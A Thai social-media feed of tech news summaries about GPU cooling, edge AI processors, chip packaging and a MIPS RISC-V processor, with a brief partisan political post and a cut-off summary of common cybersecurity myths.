  • “Frore LiquidJet: แผ่นระบายความร้อนยุคใหม่เพื่อ AI GPU พลังสูง” — รับมือความร้อนระดับ 4,400W ด้วยเทคโนโลยีไมโครเจ็ต 3D

    Frore Systems เปิดตัว LiquidJet แผ่นระบายความร้อนแบบ coldplate รุ่นใหม่ที่ออกแบบมาเพื่อรองรับ GPU สำหรับงาน AI ที่มีอัตราการใช้พลังงานสูงมาก เช่น Nvidia Blackwell Ultra และ Feynman ที่มี TDP สูงสุดถึง 4,400W

    LiquidJet ใช้โครงสร้างไมโครเจ็ตแบบ 3D short-loop jet-channel ซึ่งช่วยเพิ่มความหนาแน่นของพลังงานที่จุดร้อน (hotspot) ได้ถึง 600 W/cm² และลดการสูญเสียแรงดันถึง 4 เท่าเมื่อเทียบกับ coldplate แบบเดิม ทำให้สามารถรักษาอุณหภูมิและประสิทธิภาพของ GPU ได้แม้ในสภาวะโหลดเต็ม

    เทคโนโลยีนี้ใช้กระบวนการผลิตแบบเดียวกับเซมิคอนดักเตอร์ เช่น การกัดและเชื่อมแผ่นโลหะระดับไมครอน เพื่อให้สามารถปรับโครงสร้างของเจ็ตให้เหมาะกับแผนที่ความร้อนของแต่ละชิปได้อย่างแม่นยำ

    LiquidJet ยังสามารถปรับใช้กับ GPU รุ่นถัดไป เช่น Rubin (1,800W), Rubin Ultra (3,600W) และ Feynman (4,400W) โดยไม่ต้องเปลี่ยนโครงสร้างระบบระบายความร้อนทั้งหมด

    นอกจากการลดอุณหภูมิแล้ว ระบบนี้ยังช่วยให้ GPU ทำงานที่ความถี่สูงขึ้นโดยไม่เพิ่มพลังงาน รวมถึงลดการใช้พลังงานของปั๊มน้ำ ทำให้ประหยัดค่าใช้จ่ายและเพิ่มประสิทธิภาพโดยรวมของศูนย์ข้อมูล

    ข้อมูลในข่าว
    Frore เปิดตัว LiquidJet coldplate สำหรับ GPU ที่ใช้พลังงานสูงถึง 4,400W
    ใช้โครงสร้าง 3D short-loop jet-channel เพื่อเพิ่มประสิทธิภาพการระบายความร้อน
    รองรับ hotspot power density สูงถึง 600 W/cm²
    ลดแรงดันตกจาก 0.94 psi เหลือ 0.24 psi
    ใช้กระบวนการผลิตแบบเซมิคอนดักเตอร์ เช่น การกัดและเชื่อมแผ่นโลหะ
    ปรับโครงสร้างเจ็ตให้เหมาะกับ hotspot map ของแต่ละชิป
    รองรับ GPU รุ่นถัดไป เช่น Rubin, Rubin Ultra และ Feynman
    ช่วยให้ GPU ทำงานที่ความถี่สูงขึ้นโดยไม่เพิ่มพลังงาน
    ลดการใช้พลังงานของปั๊มน้ำ เพิ่ม PUE และลด TCO
    พร้อมใช้งานกับระบบ Blackwell Ultra และสามารถติดตั้งแบบ drop-in

    คำเตือนจากข้อมูลข่าว
    GPU ยุคใหม่มีอัตราการใช้พลังงานสูงมาก อาจเกินขีดจำกัดของระบบระบายความร้อนเดิม
    การผลิต coldplate แบบ 3D ต้องใช้เทคโนโลยีขั้นสูงและต้นทุนสูง
    การปรับโครงสร้างเจ็ตให้เหมาะกับแต่ละชิปต้องใช้ข้อมูลความร้อนที่แม่นยำ
    หากไม่ใช้ระบบระบายความร้อนที่เหมาะสม อาจทำให้ GPU ทำงานไม่เต็มประสิทธิภาพ
    การเปลี่ยนมาใช้ LiquidJet อาจต้องปรับระบบปั๊มน้ำและการติดตั้งใหม่
    ความร้อนที่สูงขึ้นในศูนย์ข้อมูลอาจส่งผลต่ออุปกรณ์อื่นและโครงสร้างพื้นฐาน

    https://www.tomshardware.com/pc-components/liquid-cooling/frores-new-liquidjet-coldplates-are-equipped-to-handle-the-spiralling-power-demands-of-future-ai-gpus-built-to-handle-up-to-4-4kw-tdps-solution-could-be-deployed-in-power-hungry-feynman-data-centers
    💧 “Frore LiquidJet: แผ่นระบายความร้อนยุคใหม่เพื่อ AI GPU พลังสูง” — รับมือความร้อนระดับ 4,400W ด้วยเทคโนโลยีไมโครเจ็ต 3D Frore Systems เปิดตัว LiquidJet แผ่นระบายความร้อนแบบ coldplate รุ่นใหม่ที่ออกแบบมาเพื่อรองรับ GPU สำหรับงาน AI ที่มีอัตราการใช้พลังงานสูงมาก เช่น Nvidia Blackwell Ultra และ Feynman ที่มี TDP สูงสุดถึง 4,400W LiquidJet ใช้โครงสร้างไมโครเจ็ตแบบ 3D short-loop jet-channel ซึ่งช่วยเพิ่มความหนาแน่นของพลังงานที่จุดร้อน (hotspot) ได้ถึง 600 W/cm² และลดการสูญเสียแรงดันถึง 4 เท่าเมื่อเทียบกับ coldplate แบบเดิม ทำให้สามารถรักษาอุณหภูมิและประสิทธิภาพของ GPU ได้แม้ในสภาวะโหลดเต็ม เทคโนโลยีนี้ใช้กระบวนการผลิตแบบเดียวกับเซมิคอนดักเตอร์ เช่น การกัดและเชื่อมแผ่นโลหะระดับไมครอน เพื่อให้สามารถปรับโครงสร้างของเจ็ตให้เหมาะกับแผนที่ความร้อนของแต่ละชิปได้อย่างแม่นยำ LiquidJet ยังสามารถปรับใช้กับ GPU รุ่นถัดไป เช่น Rubin (1,800W), Rubin Ultra (3,600W) และ Feynman (4,400W) โดยไม่ต้องเปลี่ยนโครงสร้างระบบระบายความร้อนทั้งหมด นอกจากการลดอุณหภูมิแล้ว ระบบนี้ยังช่วยให้ GPU ทำงานที่ความถี่สูงขึ้นโดยไม่เพิ่มพลังงาน รวมถึงลดการใช้พลังงานของปั๊มน้ำ ทำให้ประหยัดค่าใช้จ่ายและเพิ่มประสิทธิภาพโดยรวมของศูนย์ข้อมูล ✅ ข้อมูลในข่าว ➡️ Frore เปิดตัว LiquidJet coldplate สำหรับ GPU ที่ใช้พลังงานสูงถึง 4,400W ➡️ ใช้โครงสร้าง 3D short-loop jet-channel เพื่อเพิ่มประสิทธิภาพการระบายความร้อน ➡️ รองรับ hotspot power density สูงถึง 600 W/cm² ➡️ ลดแรงดันตกจาก 0.94 psi เหลือ 0.24 psi ➡️ ใช้กระบวนการผลิตแบบเซมิคอนดักเตอร์ เช่น การกัดและเชื่อมแผ่นโลหะ ➡️ ปรับโครงสร้างเจ็ตให้เหมาะกับ hotspot map ของแต่ละชิป ➡️ รองรับ GPU รุ่นถัดไป เช่น Rubin, Rubin Ultra และ Feynman ➡️ ช่วยให้ GPU ทำงานที่ความถี่สูงขึ้นโดยไม่เพิ่มพลังงาน ➡️ ลดการใช้พลังงานของปั๊มน้ำ เพิ่ม PUE และลด TCO ➡️ พร้อมใช้งานกับระบบ Blackwell Ultra และสามารถติดตั้งแบบ drop-in ‼️ คำเตือนจากข้อมูลข่าว ⛔ GPU ยุคใหม่มีอัตราการใช้พลังงานสูงมาก อาจเกินขีดจำกัดของระบบระบายความร้อนเดิม ⛔ การผลิต coldplate แบบ 3D ต้องใช้เทคโนโลยีขั้นสูงและต้นทุนสูง ⛔ การปรับโครงสร้างเจ็ตให้เหมาะกับแต่ละชิปต้องใช้ข้อมูลความร้อนที่แม่นยำ ⛔ หากไม่ใช้ระบบระบายความร้อนที่เหมาะสม อาจทำให้ GPU ทำงานไม่เต็มประสิทธิภาพ ⛔ การเปลี่ยนมาใช้ LiquidJet อาจต้องปรับระบบปั๊มน้ำและการติดตั้งใหม่ ⛔ ความร้อนที่สูงขึ้นในศูนย์ข้อมูลอาจส่งผลต่ออุปกรณ์อื่นและโครงสร้างพื้นฐาน https://www.tomshardware.com/pc-components/liquid-cooling/frores-new-liquidjet-coldplates-are-equipped-to-handle-the-spiralling-power-demands-of-future-ai-gpus-built-to-handle-up-to-4-4kw-tdps-solution-could-be-deployed-in-power-hungry-feynman-data-centers
    0 ความคิดเห็น 0 การแบ่งปัน 97 มุมมอง 0 รีวิว
  • ลุงถึก อธึกกิต คอลัมนิสต์เครือมติโจน วิพากษ์หนุ่มกรรชัยยับ แต่ไม่ดูตัวเองที่เอียงซ้ายมาตั้งแต่ 14 ตุลา 2516 ใช้สื่อเป็นเครื่องมือถ่ายทอดประชาธิปไตยเป็นพิษมาทั้งชีวิต ดีแล้วที่หนุ่มกรรชัยไม่เป็นสื่อแบบมัน ยิ่งเป็นยิ่งเสื่อม
    #คิงส์โพธิ์แดง
    ลุงถึก อธึกกิต คอลัมนิสต์เครือมติโจน วิพากษ์หนุ่มกรรชัยยับ แต่ไม่ดูตัวเองที่เอียงซ้ายมาตั้งแต่ 14 ตุลา 2516 ใช้สื่อเป็นเครื่องมือถ่ายทอดประชาธิปไตยเป็นพิษมาทั้งชีวิต ดีแล้วที่หนุ่มกรรชัยไม่เป็นสื่อแบบมัน ยิ่งเป็นยิ่งเสื่อม #คิงส์โพธิ์แดง
    Like
    1
    0 ความคิดเห็น 0 การแบ่งปัน 56 มุมมอง 0 รีวิว
  • “Synaptics เปิดตัว Astra SL2600” — โปรเซสเซอร์ Edge AI ยุคใหม่ที่รวมพลังมัลติโหมดและ RISC-V เพื่อโลก IoT อัจฉริยะ

    Synaptics ประกาศเปิดตัว Astra SL2600 Series โปรเซสเซอร์ Edge AI รุ่นใหม่ที่ออกแบบมาเพื่อรองรับอุปกรณ์อัจฉริยะในยุค Internet of Things (IoT) โดยเน้นการประมวลผลแบบมัลติโหมด (multimodal) ที่รวมภาพ เสียง เซ็นเซอร์ และข้อมูลเครือข่ายไว้ในชิปเดียว

    ชิป SL2610 ซึ่งเป็นรุ่นแรกในซีรีส์นี้ ใช้แพลตฟอร์ม Torq Edge AI ที่รวมสถาปัตยกรรม NPU แบบ RISC-V จาก Coral ของ Google พร้อมคอมไพเลอร์แบบ open-source (IREE/MLIR) เพื่อให้นักพัฒนาสามารถสร้างแอปพลิเคชัน AI ได้อย่างยืดหยุ่นและมีประสิทธิภาพ

    SL2610 ยังรวม Arm Cortex-A55, Cortex-M52 พร้อม Helium และ Mali GPU เพื่อรองรับงานประมวลผลทั่วไปและกราฟิก พร้อมระบบความปลอดภัยในตัว เช่น root of trust, threat detection และ crypto coprocessor สำหรับงาน AI ที่ต้องการความปลอดภัยสูง

    ซีรีส์นี้มีทั้งหมด 5 รุ่นย่อย: SL2611, SL2613, SL2615, SL2617 และ SL2619 ซึ่งออกแบบให้ pin-to-pin compatible เพื่อให้ง่ายต่อการเปลี่ยนรุ่นตามความต้องการของอุปกรณ์ ตั้งแต่แบบใช้แบตเตอรี่ไปจนถึงระบบวิชั่นอุตสาหกรรม

    ชิปยังรองรับการเชื่อมต่อผ่าน Synaptics Veros Connectivity เช่น Wi-Fi 6/6E/7, Bluetooth/BLE, Thread และ UWB เพื่อให้การพัฒนาอุปกรณ์ IoT เป็นไปอย่างรวดเร็วและครบวงจร

    Synaptics ได้รับความร่วมมือจากพันธมิตรระดับโลก เช่น Google, Cisco, Sonos, Garmin, Deutsche Telekom และ Arm ซึ่งต่างยืนยันถึงความสามารถของ Astra SL2600 ในการผลักดันนวัตกรรม Edge AI

    ข้อมูลในข่าว
    Synaptics เปิดตัว Astra SL2600 Series โปรเซสเซอร์ Edge AI รุ่นใหม่
    SL2610 ใช้แพลตฟอร์ม Torq Edge AI ที่รวม Coral NPU จาก Google
    ใช้คอมไพเลอร์ open-source IREE/MLIR เพื่อความยืดหยุ่นในการพัฒนา
    รวม Arm Cortex-A55, Cortex-M52 พร้อม Helium และ Mali GPU
    มีระบบความปลอดภัยในตัว เช่น root of trust และ crypto coprocessor
    มี 5 รุ่นย่อย: SL2611, SL2613, SL2615, SL2617, SL2619 ที่ pin-to-pin compatible
    รองรับการเชื่อมต่อผ่าน Veros Connectivity: Wi-Fi 6/6E/7, BT/BLE, Thread, UWB
    เหมาะสำหรับอุปกรณ์ IoT เช่น เครื่องใช้ไฟฟ้า, ระบบอัตโนมัติ, UAV, เกม, POS, หุ่นยนต์
    ได้รับความร่วมมือจาก Google, Cisco, Sonos, Garmin, Deutsche Telekom และ Arm
    ชิปเริ่มส่งตัวอย่างให้ลูกค้าแล้ว และจะวางจำหน่ายทั่วไปในไตรมาส 2 ปี 2026

    https://www.techpowerup.com/341933/synaptics-launches-the-next-generation-of-astra-multimodal-genai-edge-processors
    🧠 “Synaptics เปิดตัว Astra SL2600” — โปรเซสเซอร์ Edge AI ยุคใหม่ที่รวมพลังมัลติโหมดและ RISC-V เพื่อโลก IoT อัจฉริยะ Synaptics ประกาศเปิดตัว Astra SL2600 Series โปรเซสเซอร์ Edge AI รุ่นใหม่ที่ออกแบบมาเพื่อรองรับอุปกรณ์อัจฉริยะในยุค Internet of Things (IoT) โดยเน้นการประมวลผลแบบมัลติโหมด (multimodal) ที่รวมภาพ เสียง เซ็นเซอร์ และข้อมูลเครือข่ายไว้ในชิปเดียว ชิป SL2610 ซึ่งเป็นรุ่นแรกในซีรีส์นี้ ใช้แพลตฟอร์ม Torq Edge AI ที่รวมสถาปัตยกรรม NPU แบบ RISC-V จาก Coral ของ Google พร้อมคอมไพเลอร์แบบ open-source (IREE/MLIR) เพื่อให้นักพัฒนาสามารถสร้างแอปพลิเคชัน AI ได้อย่างยืดหยุ่นและมีประสิทธิภาพ SL2610 ยังรวม Arm Cortex-A55, Cortex-M52 พร้อม Helium และ Mali GPU เพื่อรองรับงานประมวลผลทั่วไปและกราฟิก พร้อมระบบความปลอดภัยในตัว เช่น root of trust, threat detection และ crypto coprocessor สำหรับงาน AI ที่ต้องการความปลอดภัยสูง ซีรีส์นี้มีทั้งหมด 5 รุ่นย่อย: SL2611, SL2613, SL2615, SL2617 และ SL2619 ซึ่งออกแบบให้ pin-to-pin compatible เพื่อให้ง่ายต่อการเปลี่ยนรุ่นตามความต้องการของอุปกรณ์ ตั้งแต่แบบใช้แบตเตอรี่ไปจนถึงระบบวิชั่นอุตสาหกรรม ชิปยังรองรับการเชื่อมต่อผ่าน Synaptics Veros Connectivity เช่น Wi-Fi 6/6E/7, Bluetooth/BLE, Thread และ UWB เพื่อให้การพัฒนาอุปกรณ์ IoT เป็นไปอย่างรวดเร็วและครบวงจร Synaptics ได้รับความร่วมมือจากพันธมิตรระดับโลก เช่น Google, Cisco, Sonos, Garmin, Deutsche Telekom และ Arm ซึ่งต่างยืนยันถึงความสามารถของ Astra SL2600 ในการผลักดันนวัตกรรม Edge AI ✅ ข้อมูลในข่าว ➡️ Synaptics เปิดตัว Astra SL2600 Series โปรเซสเซอร์ Edge AI รุ่นใหม่ ➡️ SL2610 ใช้แพลตฟอร์ม Torq Edge AI ที่รวม Coral NPU จาก Google ➡️ ใช้คอมไพเลอร์ open-source IREE/MLIR เพื่อความยืดหยุ่นในการพัฒนา ➡️ รวม Arm Cortex-A55, Cortex-M52 พร้อม Helium และ Mali GPU ➡️ มีระบบความปลอดภัยในตัว เช่น root of trust และ crypto coprocessor ➡️ มี 5 รุ่นย่อย: SL2611, SL2613, SL2615, SL2617, SL2619 ที่ pin-to-pin compatible ➡️ รองรับการเชื่อมต่อผ่าน Veros Connectivity: Wi-Fi 6/6E/7, BT/BLE, Thread, UWB ➡️ เหมาะสำหรับอุปกรณ์ IoT เช่น เครื่องใช้ไฟฟ้า, ระบบอัตโนมัติ, UAV, เกม, POS, หุ่นยนต์ ➡️ ได้รับความร่วมมือจาก Google, Cisco, Sonos, Garmin, Deutsche Telekom และ Arm ➡️ ชิปเริ่มส่งตัวอย่างให้ลูกค้าแล้ว และจะวางจำหน่ายทั่วไปในไตรมาส 2 ปี 2026 https://www.techpowerup.com/341933/synaptics-launches-the-next-generation-of-astra-multimodal-genai-edge-processors
    WWW.TECHPOWERUP.COM
    Synaptics Launches the Next Generation of Astra Multimodal GenAI Edge Processors
    Synaptics Incorporated (Nasdaq: SYNA), announces the new Astra SL2600 Series of multimodal Edge AI processors designed to deliver exceptional power and performance. The Astra SL2600 series enables a new generation of cost-effective intelligent devices that make the cognitive Internet of Things (IoT)...
    0 ความคิดเห็น 0 การแบ่งปัน 76 มุมมอง 0 รีวิว
  • “Silicon Box ส่งมอบชิปครบ 100 ล้านชิ้น” — ยืนยันความพร้อมของเทคโนโลยี Panel-Level Packaging สำหรับยุค AI และ HPC

    Silicon Box บริษัทผู้เชี่ยวชาญด้านการบรรจุภัณฑ์เซมิคอนดักเตอร์แบบขั้นสูง ประกาศความสำเร็จในการผลิตและส่งมอบชิปครบ 100 ล้านชิ้นจากโรงงานหลักในสิงคโปร์ ซึ่งใช้เทคโนโลยี Panel-Level Packaging (PLP) ที่ล้ำสมัยที่สุดในโลก

    PLP เป็นเทคโนโลยีที่ช่วยให้สามารถรวมชิปหลายตัว (chiplets) เข้าด้วยกันบนแผงขนาดใหญ่ (panel) แทนที่จะใช้เวเฟอร์แบบดั้งเดิม ช่วยลดต้นทุน เพิ่มประสิทธิภาพ และรองรับการผลิตในปริมาณมาก เหมาะอย่างยิ่งกับความต้องการของอุตสาหกรรม AI, การประมวลผลสมรรถนะสูง (HPC), ยานยนต์ และหุ่นยนต์

    โรงงานของ Silicon Box ในสิงคโปร์เริ่มผลิตเชิงพาณิชย์ในปลายปี 2023 และสามารถทำลายสถิติเดิมของบริษัทในด้านอัตราผลิตสำเร็จ (yield) ที่เคยอยู่ที่ 99.7% ในระดับเวเฟอร์ โดยตอนนี้สามารถรักษาระดับ yield ที่สูงมากแม้ในระดับ panel ซึ่งใหญ่และซับซ้อนกว่า

    บริษัทกำลังขยายกำลังการผลิตอย่างต่อเนื่อง โดยมีแผนสร้างโรงงานแห่งที่สองในเมืองโนวารา ประเทศอิตาลี ซึ่งจะเริ่มผลิตในปี 2028 และมีขนาดใหญ่กว่าสิงคโปร์ พร้อมระบบทดสอบภายในประเทศยุโรป

    Silicon Box ยังได้รับการรับรองมาตรฐาน ISO 9001, 14001 และ 45001 ซึ่งครอบคลุมคุณภาพ ความยั่งยืน และความปลอดภัยของพนักงาน

    ข้อมูลในข่าว
    Silicon Box ส่งมอบชิปครบ 100 ล้านชิ้นจากโรงงานในสิงคโปร์
    ใช้เทคโนโลยี Panel-Level Packaging (PLP) สำหรับการรวม chiplets
    PLP ช่วยลดต้นทุน เพิ่มประสิทธิภาพ และรองรับการผลิตจำนวนมาก
    โรงงานในสิงคโปร์เริ่มผลิตเชิงพาณิชย์ปลายปี 2023
    อัตราผลิตสำเร็จ (yield) สูงกว่า 99.7% แม้ในระดับ panel
    ได้รับการรับรอง ISO 9001, 14001 และ 45001
    แผนสร้างโรงงานแห่งที่สองในอิตาลี เริ่มผลิตปี 2028
    โรงงานใหม่จะมีระบบทดสอบภายในยุโรป และรองรับอุตสาหกรรม AI, HPC, ยานยนต์, หุ่นยนต์
    เป็นบริษัทอิสระรายเดียวที่สามารถผลิต chiplet ที่ระดับ panel ได้ในปริมาณมาก

    https://www.techpowerup.com/341914/silicon-box-ships-100m-units-proves-advanced-panel-level-packaging-ready-for-ai-hpc-era
    📦 “Silicon Box ส่งมอบชิปครบ 100 ล้านชิ้น” — ยืนยันความพร้อมของเทคโนโลยี Panel-Level Packaging สำหรับยุค AI และ HPC Silicon Box บริษัทผู้เชี่ยวชาญด้านการบรรจุภัณฑ์เซมิคอนดักเตอร์แบบขั้นสูง ประกาศความสำเร็จในการผลิตและส่งมอบชิปครบ 100 ล้านชิ้นจากโรงงานหลักในสิงคโปร์ ซึ่งใช้เทคโนโลยี Panel-Level Packaging (PLP) ที่ล้ำสมัยที่สุดในโลก PLP เป็นเทคโนโลยีที่ช่วยให้สามารถรวมชิปหลายตัว (chiplets) เข้าด้วยกันบนแผงขนาดใหญ่ (panel) แทนที่จะใช้เวเฟอร์แบบดั้งเดิม ช่วยลดต้นทุน เพิ่มประสิทธิภาพ และรองรับการผลิตในปริมาณมาก เหมาะอย่างยิ่งกับความต้องการของอุตสาหกรรม AI, การประมวลผลสมรรถนะสูง (HPC), ยานยนต์ และหุ่นยนต์ โรงงานของ Silicon Box ในสิงคโปร์เริ่มผลิตเชิงพาณิชย์ในปลายปี 2023 และสามารถทำลายสถิติเดิมของบริษัทในด้านอัตราผลิตสำเร็จ (yield) ที่เคยอยู่ที่ 99.7% ในระดับเวเฟอร์ โดยตอนนี้สามารถรักษาระดับ yield ที่สูงมากแม้ในระดับ panel ซึ่งใหญ่และซับซ้อนกว่า บริษัทกำลังขยายกำลังการผลิตอย่างต่อเนื่อง โดยมีแผนสร้างโรงงานแห่งที่สองในเมืองโนวารา ประเทศอิตาลี ซึ่งจะเริ่มผลิตในปี 2028 และมีขนาดใหญ่กว่าสิงคโปร์ พร้อมระบบทดสอบภายในประเทศยุโรป Silicon Box ยังได้รับการรับรองมาตรฐาน ISO 9001, 14001 และ 45001 ซึ่งครอบคลุมคุณภาพ ความยั่งยืน และความปลอดภัยของพนักงาน ✅ ข้อมูลในข่าว ➡️ Silicon Box ส่งมอบชิปครบ 100 ล้านชิ้นจากโรงงานในสิงคโปร์ ➡️ ใช้เทคโนโลยี Panel-Level Packaging (PLP) สำหรับการรวม chiplets ➡️ PLP ช่วยลดต้นทุน เพิ่มประสิทธิภาพ และรองรับการผลิตจำนวนมาก ➡️ โรงงานในสิงคโปร์เริ่มผลิตเชิงพาณิชย์ปลายปี 2023 ➡️ อัตราผลิตสำเร็จ (yield) สูงกว่า 99.7% แม้ในระดับ panel ➡️ ได้รับการรับรอง ISO 9001, 14001 และ 45001 ➡️ แผนสร้างโรงงานแห่งที่สองในอิตาลี เริ่มผลิตปี 2028 ➡️ โรงงานใหม่จะมีระบบทดสอบภายในยุโรป และรองรับอุตสาหกรรม AI, HPC, ยานยนต์, หุ่นยนต์ ➡️ เป็นบริษัทอิสระรายเดียวที่สามารถผลิต chiplet ที่ระดับ panel ได้ในปริมาณมาก https://www.techpowerup.com/341914/silicon-box-ships-100m-units-proves-advanced-panel-level-packaging-ready-for-ai-hpc-era
    WWW.TECHPOWERUP.COM
    Silicon Box Ships 100M Units, Proves Advanced Panel-Level Packaging Ready for AI, HPC era
    Silicon Box, a global leader in chiplet integration and advanced semiconductor packaging, announced it has shipped 100-million-units from its flagship factory in Singapore's Tampines Wafer Park. The state-of-the-art facility, which began mass production in late 2023, produces advanced panel-level pa...
    0 ความคิดเห็น 0 การแบ่งปัน 64 มุมมอง 0 รีวิว
  • “MIPS I8500: โปรเซสเซอร์ยุคใหม่เพื่อขับเคลื่อน Physical AI” — สถาปัตยกรรม RISC-V ที่ออกแบบมาเพื่อการเคลื่อนย้ายข้อมูลแบบอัจฉริยะ

    บริษัท MIPS ซึ่งเป็นบริษัทในเครือของ GlobalFoundries ได้เปิดตัวโปรเซสเซอร์รุ่นใหม่ชื่อว่า MIPS I8500 โดยเน้นการจัดการข้อมูลแบบเรียลไทม์สำหรับแพลตฟอร์มที่ต้องการการตอบสนองทันที เช่น ระบบ AI ที่ทำงานนอกศูนย์ข้อมูล (Physical AI), โครงสร้างพื้นฐานด้านการสื่อสาร, อุตสาหกรรม, ยานยนต์ และระบบจัดเก็บข้อมูล

    I8500 ถูกออกแบบบนสถาปัตยกรรม RISC-V และมีความสามารถในการประมวลผลแบบ multithread สูงถึง 24 threads ต่อ cluster โดยมี 4 threads ต่อ core และรองรับการทำงานแบบ multi-cluster เพื่อเพิ่มความยืดหยุ่นในการใช้งาน

    จุดเด่นของ I8500 คือการเคลื่อนย้ายข้อมูลแบบ deterministic (กำหนดได้แน่นอน) และมี latency ต่ำมาก พร้อมระบบความปลอดภัยในตัว เหมาะสำหรับการจัดการ packet flows ระหว่าง accelerator ต่าง ๆ และการสื่อสารระหว่างมนุษย์กับระบบคอมพิวเตอร์

    โปรเซสเซอร์นี้ยังรองรับระบบปฏิบัติการ Linux และ Real-Time OS พร้อมความสามารถในการทำงานร่วมกับโปรไฟล์ RVA23 ซึ่งช่วยให้พัฒนาแอปพลิเคชันได้ง่ายขึ้นในระบบนิเวศของ RISC-V

    Steven Dickens จาก HyperFRAME Research กล่าวว่า I8500 เป็นก้าวสำคัญของการประมวลผลแบบ event-driven ที่ตอบโจทย์ตลาดใหม่ เช่น ยานยนต์อัตโนมัติและระบบควบคุมอุตสาหกรรม

    ข้อมูลในข่าว
    MIPS เปิดตัวโปรเซสเซอร์ I8500 สำหรับงาน Physical AI และการเคลื่อนย้ายข้อมูลแบบอัจฉริยะ
    ใช้สถาปัตยกรรม RISC-V พร้อม multithread สูงสุด 24 threads ต่อ cluster
    รองรับ multi-cluster deployments เพื่อเพิ่มความยืดหยุ่นในการใช้งาน
    มี latency ต่ำและ deterministic data movement พร้อมระบบความปลอดภัยในตัว
    เหมาะสำหรับงานในศูนย์ข้อมูล, ยานยนต์, อุตสาหกรรม และระบบสื่อสาร
    รองรับ Linux และ Real-Time OS พร้อมโปรไฟล์ RVA23
    ช่วยให้การพัฒนาแอปพลิเคชันในระบบ RISC-V เป็นไปอย่างราบรื่น
    Steven Dickens ระบุว่า I8500 เป็นก้าวสำคัญของการประมวลผลแบบ event-driven
    มี Atlas Explorer Core Model สำหรับการทดสอบร่วมระหว่างฮาร์ดแวร์และซอฟต์แวร์
    เตรียมเปิดตัวในงาน RISC-V Summit North America วันที่ 22–23 ตุลาคม

    https://www.techpowerup.com/341911/mips-i8500-processor-orchestrates-data-movement-for-the-ai-era
    ⚙️ “MIPS I8500: โปรเซสเซอร์ยุคใหม่เพื่อขับเคลื่อน Physical AI” — สถาปัตยกรรม RISC-V ที่ออกแบบมาเพื่อการเคลื่อนย้ายข้อมูลแบบอัจฉริยะ บริษัท MIPS ซึ่งเป็นบริษัทในเครือของ GlobalFoundries ได้เปิดตัวโปรเซสเซอร์รุ่นใหม่ชื่อว่า MIPS I8500 โดยเน้นการจัดการข้อมูลแบบเรียลไทม์สำหรับแพลตฟอร์มที่ต้องการการตอบสนองทันที เช่น ระบบ AI ที่ทำงานนอกศูนย์ข้อมูล (Physical AI), โครงสร้างพื้นฐานด้านการสื่อสาร, อุตสาหกรรม, ยานยนต์ และระบบจัดเก็บข้อมูล I8500 ถูกออกแบบบนสถาปัตยกรรม RISC-V และมีความสามารถในการประมวลผลแบบ multithread สูงถึง 24 threads ต่อ cluster โดยมี 4 threads ต่อ core และรองรับการทำงานแบบ multi-cluster เพื่อเพิ่มความยืดหยุ่นในการใช้งาน จุดเด่นของ I8500 คือการเคลื่อนย้ายข้อมูลแบบ deterministic (กำหนดได้แน่นอน) และมี latency ต่ำมาก พร้อมระบบความปลอดภัยในตัว เหมาะสำหรับการจัดการ packet flows ระหว่าง accelerator ต่าง ๆ และการสื่อสารระหว่างมนุษย์กับระบบคอมพิวเตอร์ โปรเซสเซอร์นี้ยังรองรับระบบปฏิบัติการ Linux และ Real-Time OS พร้อมความสามารถในการทำงานร่วมกับโปรไฟล์ RVA23 ซึ่งช่วยให้พัฒนาแอปพลิเคชันได้ง่ายขึ้นในระบบนิเวศของ RISC-V Steven Dickens จาก HyperFRAME Research กล่าวว่า I8500 เป็นก้าวสำคัญของการประมวลผลแบบ event-driven ที่ตอบโจทย์ตลาดใหม่ เช่น ยานยนต์อัตโนมัติและระบบควบคุมอุตสาหกรรม ✅ ข้อมูลในข่าว ➡️ MIPS เปิดตัวโปรเซสเซอร์ I8500 สำหรับงาน Physical AI และการเคลื่อนย้ายข้อมูลแบบอัจฉริยะ ➡️ ใช้สถาปัตยกรรม RISC-V พร้อม multithread สูงสุด 24 threads ต่อ cluster ➡️ รองรับ multi-cluster deployments เพื่อเพิ่มความยืดหยุ่นในการใช้งาน ➡️ มี latency ต่ำและ deterministic data movement พร้อมระบบความปลอดภัยในตัว ➡️ เหมาะสำหรับงานในศูนย์ข้อมูล, ยานยนต์, อุตสาหกรรม และระบบสื่อสาร ➡️ รองรับ Linux และ Real-Time OS พร้อมโปรไฟล์ RVA23 ➡️ ช่วยให้การพัฒนาแอปพลิเคชันในระบบ RISC-V เป็นไปอย่างราบรื่น ➡️ Steven Dickens ระบุว่า I8500 เป็นก้าวสำคัญของการประมวลผลแบบ event-driven ➡️ มี Atlas Explorer Core Model สำหรับการทดสอบร่วมระหว่างฮาร์ดแวร์และซอฟต์แวร์ ➡️ เตรียมเปิดตัวในงาน RISC-V Summit North America วันที่ 22–23 ตุลาคม https://www.techpowerup.com/341911/mips-i8500-processor-orchestrates-data-movement-for-the-ai-era
    WWW.TECHPOWERUP.COM
    MIPS I8500 Processor Orchestrates Data Movement for the AI Era
    MIPS, a GlobalFoundries company, announced today the MIPS I8500 processor is now sampling to lead customers. Featured at GlobalFoundries' Technology Summit in Munich, Germany today, the I8500 represents a class of intelligent data movement processor IP designed for real-time, event-driven computing ...
    0 ความคิดเห็น 0 การแบ่งปัน 72 มุมมอง 0 รีวิว
  • “22 ความเชื่อผิด ๆ ด้านไซเบอร์ที่องค์กรควรเลิกเชื่อ” — เมื่อแนวทางความปลอดภัยแบบเดิมกลายเป็นกับดักในยุค AI

    บทความจาก CSO Online ได้รวบรวม 22 ความเชื่อผิด ๆ ที่องค์กรจำนวนมากยังยึดติดอยู่ แม้โลกไซเบอร์จะเปลี่ยนแปลงไปอย่างรวดเร็ว โดยเฉพาะเมื่อเทคโนโลยีใหม่ ๆ อย่าง AI และการโจมตีแบบซับซ้อนเข้ามาเปลี่ยนเกม

    ตัวอย่างเช่น ความเชื่อว่า “AI จะมาแทนที่มนุษย์ในงานด้านความปลอดภัย” นั้นไม่เป็นความจริง เพราะแม้ AI จะช่วยกรองข้อมูลและตรวจจับภัยคุกคามได้เร็วขึ้น แต่มันยังขาดความเข้าใจบริบทและการตัดสินใจเชิงกลยุทธ์ที่มนุษย์ทำได้

    อีกหนึ่งความเชื่อที่อันตรายคือ “การยืนยันตัวตนแบบวิดีโอหรือเสียงสามารถป้องกันการปลอมแปลงได้” ซึ่งในยุค deepfake นั้นไม่เพียงพออีกต่อไป เพราะแฮกเกอร์สามารถสร้างวิดีโอปลอมที่หลอกระบบได้ภายในเวลาไม่ถึงวัน

